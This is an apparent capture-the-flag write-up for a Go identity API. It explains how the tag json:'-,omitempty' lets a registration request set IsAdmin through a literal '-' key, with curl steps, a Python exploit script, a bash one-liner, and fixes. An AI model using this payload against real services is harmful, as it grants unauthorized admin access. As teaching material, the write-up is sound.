Reading time: ~10 minutes | Level: Easy
Target Information
- IP Address: 10.10.0.17
- Difficulty: Easy
- Tags: Go, JWT, Mass Assignment, JSON Struct Tag Misconfiguration, CWE-915
Reconnaissance
Port Scanning
Initial scan using nmap:
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap 10.10.0.17Results:
PORT STATE SERVICE VERSION
8080/tcp open http Go net/http server
Web Enumeration
Discovery: REST API Endpoints
Accessing the application on port 8080, we find a Go-based Identity API with the following endpoints:
| Method | Endpoint | Auth Required | Description |
|---|---|---|---|
| POST | /api/register | No | Register new user |
| POST | /api/login | No | Login, returns JWT |
| GET | /api/user/me | Yes (JWT) | Current user info |
| GET | /api/admin | Yes (JWT) | Admin-only, returns flag |
Testing registration:
curl -X POST http://10.10.0.17:8080/api/register \
-H "Content-Type: application/json" \
-d '{"username":"test","email":"test@test.com","password":"test123"}'Response:
{"message":"user created"}Testing login:
curl -X POST http://10.10.0.17:8080/api/login \
-H "Content-Type: application/json" \
-d '{"email":"test@test.com","password":"test123"}'Response:
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}Testing admin endpoint with regular user token:
curl http://10.10.0.17:8080/api/admin \
-H "Authorization: Bearer <TOKEN>"Response:
{"error":"forbidden"}The admin endpoint checks the is_admin claim in the JWT. We need a token with is_admin: true.
Source Code Analysis
The challenge provides the application source code. Analysis of the Go files revealed a critical misconfiguration in the User model.
models.go — The User struct:
type User struct {
ID int
Username string `json:"username"`
Email string `json:"email"`
Password string `json:"password"`
IsAdmin bool `json:"-,omitempty"`
}handlers_auth.go — Registration handler:
func RegisterHandler(w http.ResponseWriter, r *http.Request) {
var user User
if err := json.NewDecoder(r.Body).Decode(&user); err != nil {
// ...
}
_, err := db.Exec(
"INSERT INTO users (username, email, password, is_admin) VALUES (?, ?, ?, ?)",
user.Username, user.Email, user.Password, user.IsAdmin,
)
// ...
}auth.go — JWT generation uses user.IsAdmin directly from the database:
func GenerateJWT(user User) (string, error) {
claims := Claims{
UserID: user.ID,
Username: user.Username,
Email: user.Email,
IsAdmin: user.IsAdmin,
// ...
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
return token.SignedString(jwtSecret)
}handlers_admin.go — Flag is returned if is_admin is true in JWT claims:
func AdminHandler(w http.ResponseWriter, r *http.Request) {
claims := r.Context().Value(userContextKey).(*Claims)
if !claims.IsAdmin {
// returns 403 forbidden
return
}
flag := os.Getenv("FLAG")
json.NewEncoder(w).Encode(map[string]string{"flag": flag})
}Exploitation: Mass Assignment via JSON Tag Misconfiguration
Go encoding/json Tag Parsing Quirk
The vulnerability lies in the JSON struct tag for IsAdmin:
IsAdmin bool `json:"-,omitempty"`At first glance, this appears to exclude IsAdmin from JSON marshaling/unmarshaling using the special "-" tag. However, this is a misunderstanding of Go's encoding/json behavior.
According to the Go documentation:
As a special case, if the field tag is "-", the field is always omitted. Note that a field with name "-" can still be generated using the tag "-,".
The key distinction:
| Tag | Behavior |
|---|---|
json:"-" | Field is ignored during marshal/unmarshal |
json:"-,omitempty" | Field is mapped to the literal key "-" |
json:"-," | Field is mapped to the literal key "-" |
When the tag is json:"-,omitempty", Go treats "-" as the field name (a literal hyphen character) and omitempty as an option. The field is not excluded — it is mapped to the JSON key "-".
This means we can set IsAdmin = true by sending "-": true in the JSON body during registration.
Attack Chain
- Register a user with
"-": truein the JSON body →IsAdminis set totruein the struct - The handler inserts
user.IsAdmin(nowtrue) directly into the database - Login with the new user → server queries the database, gets
is_admin = 1 GenerateJWT()creates a token withis_admin: true- Use the token to access
/api/admin→ flag is returned
Step 1: Register Admin User
curl -X POST http://10.10.0.17:8080/api/register \
-H "Content-Type: application/json" \
-d '{"username":"hacker","email":"hacker@pwn.com","password":"password123","-":true}'Response:
{"message":"user created"}Step 2: Login to Get Admin JWT
curl -X POST http://10.10.0.17:8080/api/login \
-H "Content-Type: application/json" \
-d '{"email":"hacker@pwn.com","password":"password123"}'Response:
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}Decoding the JWT payload confirms is_admin: true:
{
"user_id": 2,
"username": "hacker",
"email": "hacker@pwn.com",
"is_admin": true,
"exp": 1739750000,
"iat": 1739663600
}Step 3: Retrieve the Flag
curl http://10.10.0.17:8080/api/admin \
-H "Authorization: Bearer <TOKEN>"Response:
{"flag":"hackingclub{REDACTED}"}Flag obtained!
Attack Chain Summary
1. Source Code Analysis — Identified JSON tag misconfiguration
↓
2. Go encoding/json Quirk — json:"-,omitempty" maps to literal "-" key
↓
3. Mass Assignment — Register user with "-": true to set IsAdmin
↓
4. Database Insertion — is_admin = 1 stored in SQLite
↓
5. Login — Server generates JWT with is_admin: true
↓
6. Admin Access — /api/admin returns the flag
Vulnerabilities Summary
-
Mass Assignment via JSON Tag Misconfiguration
CWE-915Critical- The
json:"-,omitempty"tag does not exclude the field from unmarshaling. It maps it to the literal key"-", allowing attackers to setIsAdmintotrueduring registration.
- The
-
Plaintext Password Storage
CWE-256High- Passwords are stored and compared in plaintext with no hashing (e.g., bcrypt).
-
No Input Validation on Registration
CWE-20Medium- The registration endpoint accepts arbitrary fields without validation or allowlisting, enabling mass assignment attacks.
Technical Analysis
Go encoding/json Tag Parsing Deep Dive
Technology: Go 1.21+ / encoding/json standard library
Vulnerable code pattern:
type User struct {
IsAdmin bool `json:"-,omitempty"` // VULNERABLE: maps to literal "-"
}Secure code pattern:
type User struct {
IsAdmin bool `json:"-"` // SECURE: field is truly ignored
}How Go parses the tag internally:
The encoding/json package splits the tag value by the first comma:
json:"-"→ name is"-", no options → special case: skip this fieldjson:"-,omitempty"→ name is"-", options are"omitempty"→ not the special case, name is treated as literal hyphenjson:"-,"→ name is"-", options are""→ not the special case, name is treated as literal hyphen
The special "ignore" behavior only triggers when the entire tag value is exactly the string "-" with nothing else after it.
Mitigation Recommendations
Application Level
- Fix the JSON struct tag:
// BEFORE (vulnerable):
type User struct {
IsAdmin bool `json:"-,omitempty"`
}
// AFTER (secure):
type User struct {
IsAdmin bool `json:"-"`
}- Use a separate DTO for user input:
// Input struct — only allowed fields
type RegisterInput struct {
Username string `json:"username"`
Email string `json:"email"`
Password string `json:"password"`
}
// Internal model — has all fields
type User struct {
ID int
Username string
Email string
Password string
IsAdmin bool
}- Hash passwords with bcrypt:
import "golang.org/x/crypto/bcrypt"
// Registration
hash, err := bcrypt.GenerateFromPassword([]byte(input.Password), bcrypt.DefaultCost)
// Login
err := bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(input.Password))Database Level
-- Always set is_admin to 0 on registration
INSERT INTO users (username, email, password, is_admin) VALUES (?, ?, ?, 0);Proof of Concept
Exploitation Script
#!/usr/bin/env python3
"""
Identity API CTF - Mass Assignment Exploit
Exploits Go json:"-,omitempty" tag misconfiguration
"""
import requests
import sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://10.10.0.17:8080"
def exploit():
print(f"[*] Target: {TARGET}")
# Step 1: Register admin user via mass assignment
print("[+] Registering user with is_admin=true via '-' key...")
reg = requests.post(f"{TARGET}/api/register", json={
"username": "exploit",
"email": "exploit@pwn.com",
"password": "exploit123",
"-": True # Maps to IsAdmin due to json:"-,omitempty" tag
})
print(f" Registration: {reg.status_code} - {reg.text.strip()}")
# Step 2: Login to obtain JWT with is_admin claim
print("[+] Logging in...")
login = requests.post(f"{TARGET}/api/login", json={
"email": "exploit@pwn.com",
"password": "exploit123"
})
token = login.json()["token"]
print(f" Token: {token[:50]}...")
# Step 3: Access admin endpoint
print("[+] Accessing /api/admin...")
admin = requests.get(f"{TARGET}/api/admin", headers={
"Authorization": f"Bearer {token}"
})
if admin.status_code == 200:
print(f"\n[!] FLAG: {admin.json().get('flag', 'NOT FOUND')}")
if __name__ == "__main__":
exploit()One-liner Bash
TOKEN=$(curl -s -X POST http://10.10.0.17:8080/api/register \
-H "Content-Type: application/json" \
-d '{"username":"pwn","email":"pwn@pwn.com","password":"pwn","-":true}' > /dev/null && \
curl -s -X POST http://10.10.0.17:8080/api/login \
-H "Content-Type: application/json" \
-d '{"email":"pwn@pwn.com","password":"pwn"}' | jq -r '.token') && \
curl -s http://10.10.0.17:8080/api/admin \
-H "Authorization: Bearer $TOKEN" | jq .Tools Used
- nmap - Network port scanning and service detection
- curl - HTTP request crafting and API testing
- jwt.io - JWT token decoding and inspection
References
Go JSON Handling
Mass Assignment
- OWASP Mass Assignment
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
JWT Security